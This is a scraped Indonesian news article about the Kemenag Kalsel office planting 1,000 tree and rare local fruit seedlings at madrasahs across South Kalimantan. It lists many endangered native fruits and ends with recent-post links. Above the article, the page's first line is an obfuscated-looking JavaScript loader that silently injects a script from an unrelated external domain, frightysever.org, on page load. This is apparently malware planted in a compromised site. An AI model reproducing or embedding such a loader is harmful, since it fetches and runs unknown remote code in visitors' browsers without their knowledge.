(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dukung Revolusi Hijau, Kemenag Tanam 1.000 Bibit Pohon di Seluruh Madrasah


BANJARBARU, Seribu bibit pohon– termasuk bibit buah-buahan langka di Kalsel, akan ditanam di lokasi di seluruh madrasah negeri di Kalimantan Selatan. Aksi penanaman bibit pohon dan bibit buah langka khas Kalsel untuk penghijauan dilakukan sebagai bentuk kepedulian gerakan revolusi hijau yang digaungkan Pemprov Kalsel.

Kepala Kantor Wilayah Kementerian Agama (Kemenag) Kalsel Noor Fahmi mengatakan, pihaknya memerintahkan semua madrasah se-Kalsel melakukan aksi penghijauan lingkungan dengan menanam aneka bibit pohon dan bibit buah-buahan. Ia lebih condong menanam jenis bibit pohon dan bibit buah-buahan karena hasilnya bermanfaat dan bernilai ekonomi. “Bibit pohon buah-buahan yang khas Kalsel yang mulai langka harus ditanam,” katanya.

Fahmi sangat mendukung upaya Pemprov Kalsel melakukan gerakan revolusi hijau untuk menjaga keseimbangan alam dan lingkungan. Untuk itu, pihaknya memerintahkan ASN di lingkup Kanwil Kemenag Kalsel turut peduli lingkungan lewat penanaman bibit pohon di lingkungan rumah masing-masing. “Hal ini juga merupakan bagian dari menjaga ekosistem dan melestarikan tanaman khas Kalsel, yakni belimbing dan jambu kristal,” bebernya.

Menurut dia, aksi penghijauan untuk meningkatkan rasa kepedulian dan keikutsertaan seluruh elemen serta membuat mereka lebih mencintai lingkungan. Fahmi meyakini penanaman pohon turut menekan dampak pemenasan global.

Ada banyak jenis buah-buahan khas Kalsel yang mulai langka dan mestinya bisa ditanam kembali lewat gerakan bersama. Beberapa jenis buah-buahan yang mulai langka di Kalsel seperti buah mahrawin, buluan, siwau, fujian, kapul, cempedak, kumbayau, manja, maritam, liyung, kulidang, gitaan, tampirik, jelamu, hambawang pulisan, ramania, karusung, jantikan, binturung, mentawa, tampang susu, silulung, limpasu, kasip, baluku, lahung, karatungan, patiti, salak hutan dan patikala.

“Jika buah-buah khas Kalsel bisa dikembangkan lagi tentu akan menjadi daya tarik dan aset Kalsel. Makanya kami perintahkan bisa ditanam di sekitar lahan madrasah, jika memang ada bibitnya,” kata Noor Fahmi. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

10 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

10 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

11 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

11 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

11 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

13 jam ago

This website uses cookies.